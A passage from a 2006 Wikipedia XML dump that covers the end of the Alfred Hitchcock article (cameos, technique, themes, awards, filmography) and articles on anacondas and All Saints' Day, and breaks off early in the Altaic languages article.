In his earliest appearances he would fill in as an obscure extra, standing in a crowd or walking through a scene in a long camera shot. But he became more prominent in his later appearances, as when he turns to see [[Jane Wyman]]'s disguise when she passes him on the street in ''[[Stage Fright]]'', and in stark silhouette in his final film ''[[Family Plot]]''. In another amusing cameo, albeit just a photograph, Hitchcock's picture is seen in the &quot;before&quot;
side of a newspaper weight loss ad in ''[[Lifeboat]]''. (See a [[list of Hitchcock cameo appearances]].)  

Hitchcock includes the consumption of brandy in nearly every sound film.  &quot;I'll get you some brandy. Drink this down. Just like medicine ...&quot; says James Stewart's character to [[Kim Novak]], in ''Vertigo.''  In a real life incident,  Hitchcock dared Montgomery Clift at a dinner party around the filming of ''I Confess'' to swallow a carafe of brandy, which caused his lead actor to pass out, almost immediately. This near obsession with brandy remains unexplained.

Another almost inexplicable feature of any Hitchcock film is the inclusion of a staircase. Of course, stairways inspire many suspenseful moments, most notably [[Farley Granger]]'s character visit to the murderer in ''[[Strangers On A Train]]'' or the detective's demise in the Bates' mansion in ''Psycho.'' However, a completely nonfunctional staircase adorns the apartment of the James Stewart character in ''[[Rear Window]]'', as if Hitchcock feels compelled to its inclusion by some unspoken superstition.

Hitchcock seemed to delight in the technical challenges of filmmaking. In ''Lifeboat'', Hitchcock sets the entire action of the movie in a small boat, yet manages to keep the cinematography from monotonous repetition. His trademark cameo appearance was a dilemma, given the claustrophobic setting; so Hitchcock appeared on camera in a fictitious newspaper ad for a weight loss product.  

In ''Spellbound'' two unprecedented point-of-view shots were achieved by constructing a large wooden hand (which would appear to belong to the character whose point of view the camera took) and outsized props for it to hold: a bucket-sized glass of milk and a large wooden gun. For added novelty and impact, the climactic gunshot was hand-colored red on some copies of the black-and-white print of the film.

''Rope'' (1948) was another technical challenge: a film that appears to have been shot entirely in a single take. The film was actually shot in eight takes of approximately 10 minutes each, which was the amount of film that would fit in a single camera reel; the transitions between reels were hidden by having a dark object fill the entire screen for a moment. Hitchcock used those points to hide the cut, and began the next take with the camera in the same place.

His 1958 film ''Vertigo'' contains a camera trick that has been imitated and re-used so many times by filmmakers, it has become known as the [[Hitchcock zoom]].

Although famous for inventive camera angles, Hitchcock generally avoided points of view that were physically impossible from a human perspective. For example, he would never place the camera looking out from inside a refrigerator.

Regarding Hitchcock's sometimes less than pleasant relationship with actors, there was a persistent rumor that he had said that actors were cattle.  Hitchcock later denied this, typically [[tongue-in-cheek]], clarifying that he had only said that actors should be treated like cattle.  [[Carole Lombard]], tweaking Hitchcock and drumming up a little publicity, brought some cows along with her when she reported to the set of ''[[Mr. and Mrs. Smith]]''.

Hitchcock often dealt with matters that he felt were sexually preverse or kinky, and many of his films darring subverted the restrictive Hollywood Production Code that prohibited any mention of [[homosexuality]].

==His character and its effects on his films==
Hitchcock's films sometimes feature male characters struggling in their relationships with their mothers. In ''[[North by Northwest]]'' (1959), Roger Thornhill ([[Cary Grant]]'s character) is an innocent man ridiculed by his mother for insisting that shadowy, murderous men are after him (in this case, they are).  In ''[[The Birds (film)|The Birds]]'' (1963), the [[Rod Taylor]] character, an innocent man, finds his world under attack by vicious birds, and struggles to free himself of a clinging mother ([[Jessica Tandy]]). The killer in ''[[Frenzy]]'' (1972) has a loathing of women but idolizes his mother. The villain Bruno in ''[[Strangers on a Train]]'' hates his father, but has an incredibly close relationship with his mother (played by [[Marion Lorne]]). Norman Bates' troubles with his mother in ''[[Psycho]]'' are infamous. 

Hitchcock heroines tend to be lovely, cool blondes who seem at first to be proper but, when aroused by passion or danger, respond in a more sensual, animal, perhaps criminal way. As noted, the famous victims in ''The Lodger'' are all blondes. In ''[[The 39 Steps (1935 film)| The 39 Steps]]'', Hitchcock's glamorous blonde star, [[Madeleine Carroll]], is put in handcuffs. In ''[[Marnie]]'' (1964), glamorous blonde [[Tippi Hedren]] is a [[kleptomania]]c. In ''[[To Catch a Thief]]'' (1955), glamorous blonde [[Grace Kelly]] offers to help someone she believes is a cat burglar. After becoming interested in Thorwald's life in ''Rear Window'', Lisa breaks into Thorwald's apartment. And, most notoriously, in ''Psycho'', [[Janet Leigh]]'s character steals $40,000 and gets murdered by a young man named [[Norman Bates]] (played by [[Anthony Perkins]]) who thought he was his own mother. His last blonde heroine was French actress [[Claude Jade]] as the secret agent's worried daughter, Michele, in '''Topaz''' (1969).

Hitchcock saw that reliance on actors and actresses was a holdover from the theater tradition.  He was a pioneer in using camera movement, camera set ups and montage to explore the outer reaches of cinematic art.

Most critics and Hitchcock scholars, including Donald Spoto and Roger Ebert, agree that ''[[Vertigo (film)|Vertigo]]'' is probably the director's most personal and revealing film, dealing with the obsessions of a man who crafts a woman into the woman he desires. ''Vertigo'' explores more frankly and at greater length his interest in the relation between sex and death than any other film in his filmography.

Hitchcock often said that his personal favourite was ''[[Shadow of a Doubt]]''.

==His style of working==
Hitchcock once commented, &quot;The writer and I plan out the entire script down to the smallest detail, and when we're finished all that's left to do is to shoot the film. Actually, it's only when one enters the studio that one enters the area of compromise. Really, the novelist has the best casting since he doesn't have to cope with the actors and all the rest.&quot; Hitchcock was often critical of his actors and actresses as well, dismissing, for example, Kim Novak's performance in ''[[Vertigo (film)|Vertigo]]'', and once famously remarking that actors were to be treated like cattle. (In response to being accused of saying 'actors are cattle', he said 'I never said they were cattle; I said they were to be ''treated'' like cattle'.) 

The first book devoted to the director is simply named ''Hitchcock''. It is a document of a one-week interview by [[François Truffaut]] in 1967. (ISBN 0671604295)

==Awards==
The [[Academy of Motion Picture Arts and Sciences]] awarded Hitchcock the [[Irving G. Thalberg Memorial Award]], in 1967.  However, despite six earlier nominations, he never won an [[Academy Award|Oscar]] in a contested category. His unsuccessful Oscar nominations were:

* for [[Academy Award for Best Director|Best Director]]:  ''Rebecca'' (1940), ''[[Lifeboat (film)|Lifeboat]]'' (1944), ''[[Spellbound (1945 film)|Spellbound]]'' (1945), ''[[Rear Window]]'', and ''[[Psycho]]''; and
* as a producer, for [[Academy Award for Best Picture|Best Picture]]: ''[[Suspicion]]'' (1941).  

However ''Rebecca'', which Hitchcock did direct, won the 1940 [[Academy Award for Best Picture|Best Picture]] Oscar for its producer [[David O. Selznick]].  Three other films Hitchcock directed were unsuccessfully nominated for Best Picture.

Hitchcock was knighted in 1980.



==Other notes==
From [[1955 in television|1955]] to [[1965 in television|1965]], Hitchcock was the host and producer of a long-running [[television]] series entitled ''[[Alfred Hitchcock Presents]]''. While his films had made Hitchcock's name strongly associated with suspense, the TV series made Hitchcock a celebrity himself. His [[irony]]-tinged voice, image, and mannerisms became instantly recognizable and were often the subject of parody. He directed a few episodes of the TV series himself and he upset a number of movie production companies when he insisted on using his TV production crew to produce his motion picture ''[[Psycho]]''. In the late 1980s, a new version of ''Alfred Hitchcock Presents'' was produced for television, making use of Hitchcock's original introductions.

Alfred Hitchcock is also immortalised in print and appeared as himself in the very popular juvenile detective series, ''Alfred Hitchcock and the Three Investigators''. The long-running detective series was clever and well written, with characters much younger than the [[Hardy Boys]]. In ghost-written introductions, &quot;Alfred Hitchcock&quot; formerly introduced each case at the beginning of the book, often giving them new cases to solve. At the end of each book, Alfred Hitchcock would discuss the specifics of the case with Jupiter Jones, Bob Andrews and Peter Crenshaw and every so often the three boys would give Alfred Hitchcock mementos of their case. 

When Alfred Hitchcock passed away, his chores as the boys' mentor/friend would be done by a fictional character: a retired detective named Hector Sebastian.  Due to the popularity of the series, ''Alfred Hitchcock and the Three Investigators'' scored several reprints and out of respect, the latter reprints were changed to just ''[[The Three Investigators]]''. Over the years, more than one name has been used to replace Alfred Hitchcock's character, especially for the earlier books when his role was emphasised.  

At the height of Hitchcock's success, he was also asked to introduce a set of books with his name attached. The series was a collection of short stories by popular short story writers, primarily focused on suspense and thrillers. These titles included ''Alfred Hitchcock's Monster Museum'', ''Alfred Hithcock's Supernatural Tales of Terror and Suspense'', ''Alfred Hitchcock's Spellbinders in Suspense'', ''Alfred Hitchcock's Witch's Brew'', ''Alfred Hitchcock's Ghostly Gallery'' and ''Alfred Hitchcock's Haunted Houseful.''  Hitchcock himself was not actually involved in the reading, reviewing, editing or selection of the short stories; in fact, even his introductions were ghost-written. The entire extent of his involvement with the project was to lend his name and collect a check.

Some notable writers whose works were used in the collection include [[Shirley Jackson]] (''Strangers in Town'', ''[[The Lottery]]''), [[T.H. White]] (''[[The Sword in the Stone]]''), [[Robert Bloch]], [[H. G. Wells]] (''[[The War of the Worlds (novel)|The War of the Worlds]]''), [[Robert Louis Stevenson]], [[Sir Arthur Conan Doyle]], [[Mark Twain]] and the creator of ''[[The Three Investigators]]'', [[Robert Arthur (writer)|Robert Arthur]].

==Filmography==
(all dates are for release)

===Silent films===
*No. 13   (Unfinished, also known as ''Mrs. Peabody'')  (1922)
*Always Tell Your Wife  (Uncredited) (1923)
*''[[The Pleasure Garden (1927 film)|The Pleasure Garden]]'' (1925)
*''[[The Mountain Eagle]]'' (1926)
*''[[The Lodger: A Story of the London Fog]]'' (1927)
*''[[Downhill (film)|Downhill]]'' (1927)
*''[[Easy Virtue]]'' (1928), based on a [[Noel Coward]] play
*''[[The Ring (1927 film)|The Ring]]'' (1927), an original story by Hitchcock.
*''[[The Farmer's Wife]]'' (1928)
*''[[Champagne (film)|Champagne]]'' (1928)
*''[[The Manxman]]'' (1929)
*''[[Blackmail (1929 film)|Blackmail]]'' (1929), silent version of the more famous [[talkie]]

===Sound films===
*''[[Blackmail (1929 film)|Blackmail]]'' (1929), the first British [[talkie]]
*''[[Juno and the Paycock]]'' (1930)
*''[[Murder!]]'' (1930)
*''[[Elstree Calling]]'' (1930), made jointly with Adrian Brunel, Andre Charlot, Jack Hulbert and Paul Murray
*''[[The Skin Game]]'' (1931)
*''[[Mary (film)|Mary]]'' (1931)
*''[[Number Seventeen]]'' (1932)
*''[[Rich and Strange]]'' (1932)
*''[[Waltzes from Vienna]]'' (1933)
*''[[The Man Who Knew Too Much (1934 film)|The Man Who Knew Too Much]]'' (1934)
*''[[The 39 Steps (1935 film)| The 39 Steps]]'' (1935), with [[Robert Donat]]
*''[[Secret Agent]]'' (1936), loosely based on [[Somerset Maugham]]'s &quot;Ashenden&quot; stories
*''[[Sabotage (film)|Sabotage]]'' (aka &quot;A woman alone&quot;) (1936), adapted from [[Joseph Conrad]]'s ''The Secret Agent''
*''[[Young and Innocent]]'' (1937)
*''[[The Lady Vanishes]]'' (1938), with [[Michael Redgrave]]
*''[[Jamaica Inn (film)|Jamaica Inn]]'' (1939), starring [[Charles Laughton]]
*''[[Rebecca (film)|Rebecca]]'' (1940), his only film to win the [[Academy Award for Best Picture]]
*''[[Foreign Correspondent]]'' (1940)
*''[[Mr. &amp; Mrs. Smith (1941 film)|Mr. &amp; Mrs. Smith]]'' (1941), written by [[Norman Krasna]]
*''[[Suspicion (film)|Suspicion]]'' (1941)
*''[[Saboteur (film)|Saboteur]]'' (1942), often seen as a dry run for ''[[North by Northwest]]''
*''[[Shadow of a Doubt]]'' (1943)
*''[[Lifeboat (film)|Lifeboat]]'' (1944), [[Tallulah Bankhead]]'s most famous film role
*''[[Aventure Malgache]]'' (1944), a French language short made for the British Ministry of Information
*''[[Bon Voyage (1944 film)|Bon Voyage]]'' (1944), another French language propaganda short
*''[[Spellbound (1945 film)|Spellbound]]'' (1945), includes dream sequences designed by [[Salvador Dali]]
*''[[Notorious]]'' (1946)
*''[[The Paradine Case]]'' (1947)
*''[[Alfred Hitchcock's Rope|Rope]]'' (1948)
*''[[Under Capricorn]]'' (1949)
*''[[Stage Fright]]'' (1950), his first film in Britain since 1939
*''[[Strangers on a Train]]'' (1951)
*''[[I Confess (movie)|I Confess]]'' (1953)
*''[[Dial M for Murder]]'' (1954)
*''[[Rear Window]]'' (1954)
*''[[To Catch a Thief]]'' (1955)
*''[[The Trouble with Harry]]'' (1955)
*''[[The Man Who Knew Too Much (1956 film)|The Man Who Knew Too Much]]'' (1956), remake of his 1934 film
*''[[The Wrong Man]]'' (1956)
*''[[Vertigo (film)|Vertigo]]'' (1958)
*''[[North by Northwest]]'' (1959)
*''[[Psycho]]'' (1960)
*''[[The Birds (film)|The Birds]]'' (1963)
*''[[Marnie]]'' (1964)
*''[[Torn Curtain]] '' (1966)
*''[[Topaz (1969 film)|Topaz]]'' (1969)
*''[[Frenzy]]'' (1972)
*''[[Family Plot]]'' (1976)

===Television episodes===
*''[[Alfred Hitchcock Presents]]'': &quot;Revenge&quot; (1955)
*''[[Alfred Hitchcock Presents]]'': &quot;Breakdown&quot; (1955)
*''[[Alfred Hitchcock Presents]]'': &quot;The Case of Mr. Pelham&quot; (1955)
*''[[Alfred Hitchcock Presents]]'': &quot;Back for Christmas&quot; (1956)
*''[[Alfred Hitchcock Presents]]'': &quot;Wet Saturday&quot; (1956)
*''[[Alfred Hitchcock Presents]]'': &quot;Mr. Blanchard's Secret&quot; (1956)
*''[[Alfred Hitchcock Presents]]'': &quot;One More Mile to Go&quot; (1957)
*''[[Suspicion (TV series)|Suspicion]]'': &quot;Four O'Clock&quot; (1957)
*''[[Alfred Hitchcock Presents]]'': &quot;The Perfect Crime&quot; (1957)
*''[[Alfred Hitchcock Presents]]'': &quot;Lamb to the Slaughter&quot; (1958)
*''[[Alfred Hitchcock Presents]]'': &quot;Dip in the Pool&quot; (1958)
*''[[Alfred Hitchcock Presents]]'': &quot;Poison&quot; (1958)
*''[[Alfred Hitchcock Presents]]'': &quot;Banquo's Chair&quot; (1959)
*''[[Alfred Hitchcock Presents]]'': &quot;Arthur&quot; (1959)
*''[[Alfred Hitchcock Presents]]'': &quot;The Crystal Trench&quot; (1959)
*''[[Ford Startime]]'': &quot;Incident at a Corner&quot; (1960)
*''[[Alfred Hitchcock Presents]]'': &quot;Mrs. Bixby and the Colonel's Coat&quot; (1960)
*''[[Alfred Hitchcock Presents]]'': &quot;The Horseplayer&quot; (1961)
*''[[Alfred Hitchcock Presents]]'': &quot;Bang! You're Dead&quot; (1961)
*''[[Alfred Hitchcock Presents|The Alfred Hitchcock Hour]]'': &quot;I Saw the Whole Thing&quot; (1962)

==Frequent collaborators==
&lt;!--- This needs to be fleshed out. A simple laundry list does no justice. ---&gt;

[[Sara Allgood]],
[[Charles Bennett]] (screenwriter),
[[Ingrid Bergman]],
[[Carl Brisson]],
[[Robert Burks]] (cinematographer),
[[Madeleine Carroll]],
[[Leo G. Carroll]],
[[Joseph Cotten]],
[[Hume Cronyn]],
[[Robert Cummings]],
[[Joan Fontaine]],
[[John Forsythe]],
[[Farley Granger]],
[[Cary Grant]],
[[Clare Greet]],
[[Lilian Hall-Davis]],
[[Gordon Harker]],
[[Ben Hecht]] (writer),
[[Tippi Hedren]],
[[Bernard Herrmann]] (composer),
[[Hannah Jones]],
[[Malcolm Keen]],
[[Grace Kelly]],
[[Charles Laughton]],
[[John Longden]],
[[Peter Lorre]],
[[Miles Mander]],
[[Vera Miles]],
[[Ivor Novello]],
[[Anny Ondra]],
[[Gregory Peck]],
[[Jessie Royce Landis]],
[[James Stewart (actor)|James Stewart]],
[[John Williams (actor)|John Williams]]

==See also==
*[[Unproduced Hitchcock Projects]]

==Further reading==
* [[François Truffaut|Truffaut, François]]: ''Hitchcock''. Simon and Schuster, 1985. A series of interviews of Hitchcock by the influential French director. This is an important source, but some have criticised Truffaut for taking an uncritical stance.
* Leitch, Thomas: ''The Encyclopedia of Alfred Hitchcock''. Checkmark Books, 2002. An excellent single-volume encyclopedia of all things Hitchcock.
* DeRosa, Steven: ''Writing with Hitchcock''. Faber and Faber, 2001.  An examination of the collaboration between Hitchcock and screenwriter John Michael Hayes, his most frequent writing collaborator in Hollywood. Their films include ''Rear Window'' and ''The Man Who Knew Too Much''.
* Deutelbaum, Marshall; Poague, Leland (ed.): ''A Hitchcock Reader''. Iowa State University Press, 1986.  A wide-ranging collection of scholarly essays on Hitchcock.
* Spoto, Donald: ''The Art of Alfred Hitchcock''. Anchor Books, 1992.  The first detailed critical survey of Hitchcock's work by an American.
* Spoto, Donald: ''The Dark Side of Genius''. Ballantine Books, 1983. A biography of Hitchcock, featuring a controversial exploration of Hitchcock's psychology.
* Gottlieb, Sidney: ''Alfred Hitchcock: Interviews''. University Press of Mississippi, 2003. A collection of Hitchcock interviews.
* Conrad, Peter: ''The Hitchcock Murders''. Faber and Faber, 2000. A highly personal and idiosyncratic discussion of Hitchcock's oeuvre.
* Rebello, Stephen: ''Alfred Hitchcock and the Making of [[Psycho]]''. St. Martin's, 1990. Intimately researched and detailed history of the making of ''Psycho,'' praised as one of the best books on moviemaking ever. &lt;!--- Doesn't this properly belong at the Psycho article, not here? ---&gt;
* McGilligan, Patrick: ''Alfred Hitchcock: A Life in Darkness and Light''. Regan Books, 2003. A comprehensive biography of the director.
* Modleski, Tania: ''The Women Who Knew Too Much: Hitchcock And Feminist Theory''. Routledge, 2005 (2nd edition).  A collection of critical essays on Hitchcock and his films, argues that Hitchcock's portrayal of women was an ambivalent one, not misogynist nor sympathetic (as widely thought). An important text to consider, given the abundance of female heroes and victims in his films.
* Wood, Robin: ''Hitchcock's Films Revisited''. Columbia University Press, 2002 (2nd edition).  Another collection of critical essays, now revisited by the author in this 2nd edition to supplement and annotate the highly-lauded entries from before with the additional insight and changes that time and personal experience has brought him (including his own coming-out as a gay man).

==External links==
{{wikiquote}}
* {{imdb name|id=0000033|name=Alfred Hitchcock}}
* [http://hitchcock.tv Alfred Hitchcock -- The Master of Suspense]
* [http://www.sensesofcinema.com/contents/directors/05/hitchcock.html Senses of Cinema's Alfred Hitchcock Page]
* [http://www.screenonline.org.uk/tours/hitch/tour1.html ''Hitchcock's Style''] -- online exhibit from [[screenonline]], a website of the [[British Film Institute]]
* [http://alfredhitchcock.directorscut.info/ Multi-Language Website] 
* [http://www.hitchcockpresentsdvd.com/ Official Universal Website]
* [http://www.soundtrackinfo.com/search.asp?q=hitchcock Hitchcock at the SoundtrackINFO project]
* [http://warnervideo.com/hitchcock/home.html Warner Video: Alfred Hitchcock]
* [http://www.labyrinth.net.au/~muffin/ The MacGuffin Web Page] - the online extension of the Alfred Hitchcock journal ''The MacGuffin''
* [http://www.writingwithhitchcock.com/ Writing With Hitchcock] - Companion site to Steven DeRosa's book of the same name, includes original interviews, essays, script excerpts, and extensive material on Hitchcock's unproduced works.
* [http://www.daveyp.com/hitchcock/ The Hitchcock DVD Information Site] - details of Hitchcock DVD releases from around the world
* [http://tesla.liketelevision.com/liketelevision/tuner.php?channel=133&amp;format=movie&amp;theme=guide The Man Who Knew Too Much] - Watch the movie online for free
* [http://www.borgus.com/think/hitch.htm Basic Hitchcock Film Techniques] A checklist of his top 13 film techniques.

{{Link FA|pl}}

{{Link FA|fr}}

[[Category:1899 births|Hitchcock, Sir Alfred]]
[[Category:1980 deaths|Hitchcock, Sir Alfred]]
[[Category:British film directors|Hitchcock, Sir Alfred]]
[[Category:British film producers|Hitchcock, Sir Alfred]]
[[Category:British television directors|Hitchcock, Sir Alfred]]
[[Category:Naturalized citizens of the United States|Hitchcock, Sir Alfred]]
[[Category:Old Ignatians|Hitchcock, Sir Alfred]]
[[Category:Roman Catholics|Hitchcock, Sir Alfred]]
[[Category:Londoners|Hitchcock, Sir Alfred]]
[[Category:Knights Commander of the British Empire|Hitchcock, Alfred]]

[[ilo:Alfred Hitchcock]]

[[bg:Алфред Хичкок]]
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  </page>
  <page>
    <title>Anaconda</title>
    <id>809</id>
    <revision>
      <id>42042622</id>
      <timestamp>2006-03-03T11:54:38Z</timestamp>
      <contributor>
        <username>KnightRider</username>
        <id>430793</id>
      </contributor>
      <minor />
      <comment>warnfile  Modifying: es</comment>
      <text xml:space="preserve">{{otheruses}}
{{Taxobox
| color = pink
| name = Anacondas
| image = Eunectes_notaeus.jpg
| image_width = 240px
| image_caption = Yellow Anaconda, ''Eunectes notaeus''
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Reptile|Reptilia]]
| ordo = [[Squamata]]
| subordo = [[Serpentes]]
| familia = [[Boidae]]
| genus = '''''Eunectes'''''
| genus_authority = [[Johann Georg Wagler|Wagler]], [[1830]]
| subdivision_ranks = Species
| subdivision = 
See text.
}}

'''Anacondas''' (Jibóia and Sucuri, local names) are three species of aquatic [[boa]] inhabiting the swamps and rivers of the dense forests of tropical [[South America]] as well as the southern swamps of the island of [[Trinidad]] .

There are two possible origins for the word 'anaconda': It is perhaps an alteration of the [[Sinhalese]] word 'henakanday', meaning 'whip snake', or more likely, the [[Tamil]] word 'anaikolra', which means 'elephant killer', as early [[Spain|Spanish]] settlers in South America referred to the anaconda as 'matatoro', or 'bull killer'. It is unclear how the name originated so far from the snake's native habitat, it is likely due to its vague similarity to the large [[Asia]]n [[python]]s.&lt;sup&gt;[http://news2.nationalgeographic.com/news/2002/08/photogalleries/0802_snakes1.html]&lt;/sup&gt;

Two species are well-known:

* The '''Green Anaconda''' (''[[Eunectes murinus]]''), which has been reported at over 10 meters (32.8 feet) in length (although most are considerably smaller). Although shorter than the longest recorded species, the [[Reticulated python|Reticulated Python]], it is considerably heavier. In fact, it is the heaviest [[snake]] species in existence. It can weigh 250 kg (551 pounds) and have a girth of more than 30 cm (11.8 inches) in diameter. Females are larger than males, averaging 22-26 feet and 12-16 feet respectively.  These are found mainly in northern [[South America]], in [[Venezuela]], [[Colombia]], [[Brazil]], northern [[Bolivia]], northeast [[Peru]], [[Guyana]], and [[Trinidad]]. Although charismatic, very little information was known about the anacondas until [[1992]] when the first study (and so far the only) was made on the field biology of this species in the Venezuelan [[llanos]] by Dr. Jesus Rivas. &lt;sup&gt;[http://www.anacondas.org]&lt;/sup&gt;  

* The '''Yellow Anaconda''' (''[[Eunectes notaeus]]''), which reaches a relatively smaller average adult length of 3 metres (9.8 feet). These live further south in Bolivia, [[Paraguay]], [[Uruguay]], western Brazil, and northeast [[Argentina]].

The third lesser known species is:

* The '''Dark-Spotted''' or '''Deschauense's Anaconda''' (''[[Eunectes deschauenseei]]'') found in northeast Brazil.

''Eunectes murinus'' (formerly called ''Boa murina'') differs from [[Boa]] by the snout being covered with shields instead of small scales, the inner of the three nasal shields being in contact with that of the other side. The general colour is dark olive-[[brown]], with large oval [[black]] spots arranged in two alternating rows along the back, and with smaller white-eyed spots along the sides. The belly is whitish, spotted with black spots. The anaconda combines an arboreal with an aquatic life, and feeds chiefly upon [[bird]]s, [[mammal]]s and [[caiman]], mostly during the night. It lies submerged in the water, with only a small part of its head above the surface, waiting for any suitable prey, or it establishes itself upon the branches of a tree which overhangs the water or the track of game.

Like almost all boas, anacondas give birth to live young.

== Giant Anacondas ==

The largest known anacondas measure about 10.6 meters (30.7 feet) long, but unverified reports of much larger snakes have occasionally been made.

One notable account was reported by adventurer [[Percy Fawcett]]. In [[1906]], Fawcett wrote that he had shot and wounded an anaconda in South America; he reported the snake measured some 18.9 meters (62 feet) from nose to tail. 

Once publicized, Fawcett’s account of the giant snake was widely ridiculed, although he insisted his account was both truthful and accurate. [[Bernard Heuvelmans]] came to his defense arguing that Fawcett was generally honest and reliable when relating things. Furthermore, Heuvelmans noted that mainstream experts were repeatedly forced to revise their limits regarding the maximum size of snakes when confronted with specimens that defied the generally-accepted estimates. At one point in time, 6 meters (20 feet) in length was the widely-accepted maximum size of an anaconda.  These giant snakes are very capable of killing and consuming an adult human being. 

When it sheds, an adult anaconda relieves itself of an average of 2 pounds of skin. An anaconda's skin can stretch up to 30% larger than the original size of the snake.

== In captivity ==

Anacondas have a reputation for bad temperament; that plus the massive size of the green species mean that anacondas are comparatively less popular as pets than other boas, but they are fairly commonly available in the exotic pet trade, with the exception of ''E. deschauenseei''. 

== References ==

* Bernard Heuvelmans, ''On The Track Of Unknown Animals'', Hill and Wang, [[1958]]

==External links==

*[http://www.junglephotos.com/amazon/amanimals/amreptiles/anaconda.shtml Anaconda photos and information]
*[http://animaldiversity.ummz.umich.edu/site/accounts/information/Eunectes_murinus.html ADW: Eunectes murinus (green anaconda)]

[[Category:Boas]]
[[Category:Fauna of Brazil]]
[[Category:Fauna of the Amazon]]
[[Category:Wildlife of South America]]
[[Category:Fauna of Trinidad and Tobago]]

[[ar:أناكوندا]]
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  <page>
    <title>All Saints</title>
    <id>810</id>
    <revision>
      <id>37885228</id>
      <timestamp>2006-02-02T19:59:53Z</timestamp>
      <contributor>
        <username>JzG</username>
        <id>760284</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/198.234.202.130|198.234.202.130]] ([[User talk:198.234.202.130|talk]]) to last version by Dominick</comment>
      <text xml:space="preserve">:''This article is about the Christian holiday. For other meanings see [[All Saints (disambiguation)]] and [[All Hallows (disambiguation)]]''
[[Image:Wszystkich swietych cmentarz.jpg|thumb|right|300px|All Saints in Poland]]
The [[festival]] of '''All Saints''', also sometimes known as &quot;All Hallows,&quot; or &quot;Hallowmas,&quot; is a feast celebrated in their honour.  '''All Saints''' is also a Christian formula invoking all the faithful [[saint]]s and [[martyr]]s, known or unknown.

The [[Roman Catholic Church|Roman Catholic]] holiday (''Festum omnium sanctorum'') falls on [[November 1]], followed by [[All Souls Day]] on [[November 2]], and is a [[Holy Day of Obligation]], with a [[vigil]] and an [[Octave (disambiguation)|octave]]. The [[Eastern Orthodoxy|Eastern Orthodox]] Church's '''All Saints''' is the first Sunday after [[Pentecost]] and as such marks the close of the [[Easter]] season.

Common commemorations by several churches of the deaths of martyrs began to be celebrated in the 4th century.  The first trace of a general celebration is attested in [[Antioch]] on the Sunday after [[Pentecost]]. This custom is also referred to in the 74th homily of [[John Chrysostom]] ([[407]]) and is maintained to the present day in the [[Eastern Orthodoxy|Eastern Orthodox]] Church.  

The date of festival was changed to November 1 by [[Pope Gregory III]] ([[731]]&amp;ndash;[[741]]) to coincide with the ancient [[Celts |Celtic]] New Year's festival [[Samhain]]. He designated November 1 as the date of the anniversary of the consecration of a chapel in St. Peter's for the relics &quot;of the holy apostles and of all saints, martyrs and confessors, of all the just made perfect who are at rest throughout the world&quot;.  By the time of the reign of [[Charlemagne]], the November festival of All Saints was widely celebrated. November 1 was decreed a day of obligation by the [[Franks|Frankish]] king [[Louis the Pious]] in [[835]] issued &quot;at the instance of [[Pope Gregory IV]] and with the assent of all the bishops.&quot; 

In [[Portugal]], [[Spain]] and [[Mexico]], ''ofrendas'' (offerings) are made on this day. In Spain, the play [[Don Juan Tenorio]] is traditionally performed.  In [[Portugal]] and [[France]], people offer flowers to dead relatives. In [[Poland]] and [[Germany]], the tradition is to light candles and visit the graves of deceased relatives.  In the [[Philippines]], the day is spent visiting the graves of deceased relatives, where they offer prayers, lay flowers, and light candles, often in a picnic-like atmosphere.  In English speaking  countries, the festival is celebrated with the hymn &quot;For All the Saints&quot;, set to music by [[Ralph Vaughan Williams]].

The festival was retained after the [[Reformation]] in the calendar of the [[Church of England]] and in many [[Lutheranism|Lutheran]] churches. In the Lutheran churches, such as the [[Church of Sweden]], it assumes a role of general commemoration of the dead (similar to the ''All Souls'' commemoration in the Eastern Orthodox Church that takes place two Saturdays before the beginning of [[Lent]]). In the [[Holidays in Sweden|Swedish calendar]], the observance takes place on the first Saturday of November.  In many Lutheran Churches however, the festival has fallen into disuse. 

==See also==
*[[Veneration of the dead]]
*[[Halloween]]
*[[Dziady]]
*[[Day of the Dead]]

==Compare==
*[[Saturnalia]] and [[Yule]]

==Reference==
*[http://www.newadvent.org/cathen/01315a.htm All Saints' Day] article in the [[Catholic Encyclopedia]]
&lt;!-- Categories --&gt;
[[Category:Liturgical Calendar]]
[[Category:Sainthood|*All Saints]]
&lt;!-- Interwiki links --&gt;

==External links==
* [http://www.americancatholic.org/Features/Saints/faqs.asp American Catholic - Saints FAQs, All Saints and All Souls Day]

[[cs:Všech svatých]]
[[da:Allehelgensdag]]
[[de:Allerheiligen]]
[[es:Día de Todos Los Santos]]
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[[pt:Dia de Todos-os-Santos]]
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    <title>AlwaysLeaveSomethingUndoneDebate</title>
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        <username>Koyaanis Qatsi</username>
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    <title>Afghanistan/People</title>
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        <username>Andre Engels</username>
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    <title>Afghanistan/Transportation</title>
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    <title>Afghanistan (1911 Encyclopedia)</title>
    <id>822</id>
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        <username>Angela</username>
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      <comment>#redirect [[Afghanistan]] - see talk page</comment>
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  <page>
    <title>Altaic languages</title>
    <id>824</id>
    <revision>
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      <contributor>
        <ip>71.131.202.249</ip>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">'''Altaic''' is a proposed [[Language families and languages|language family]] which includes 60 [[language]]s spoken by about 250 million people, mostly in and around [[Central Asia]] and the [[Far East]]. The relationships among these languages remain a matter of debate among historical linguists. Some scholars consider the obvious similarity between these languages as genetically inherited; others propose the idea of the [[Sprachbund]].

Its proponents traditionally considered it to include [[Korean language|Korean]], the [[Turkic languages]], the [[Mongolic languages]], the [[Tungusic languages]] (or Manchu-Tungus), and [[Japanese language|Japanese]]. [[Ainu language|Ainu]] has occasionally been suggested as a member of Altaic, but that hypothesis is generally rejected.  Castrén (1862) put forward a similar view, but classified Turkic with what we would now call [[Uralic languages|Uralic]]. In 1857 [[Anton Boller]] suggested adding Korean and Japanese; for Korean, G. J. Ramstedt and E. D. Polivanov put forward more etymologies in the 1920's. Korean has commonly been linked to [[Japonic_languages|Japonic]], and in [[1971]], [[Roy Miller]] suggested relating it to both Korean and Altaic.  These suggestions have been taken up and developed by various historical linguists such as [[John Whitman]], [[Sergei Starostin]], and [[Alexander Vovin]] (who now rejects a genetic connection between Korean and Japanese).

There have been  some attempts to extend the Altaic family borders by including Ainu (e.g., Street 1962, Patrie 1982), [[Tamil language|Tamil]], [[Nivkh language|Nivkh]], or [[Hungarian language|Hungarian]], but these proposals have been rejected by the majority of scholars.

==Controversy==

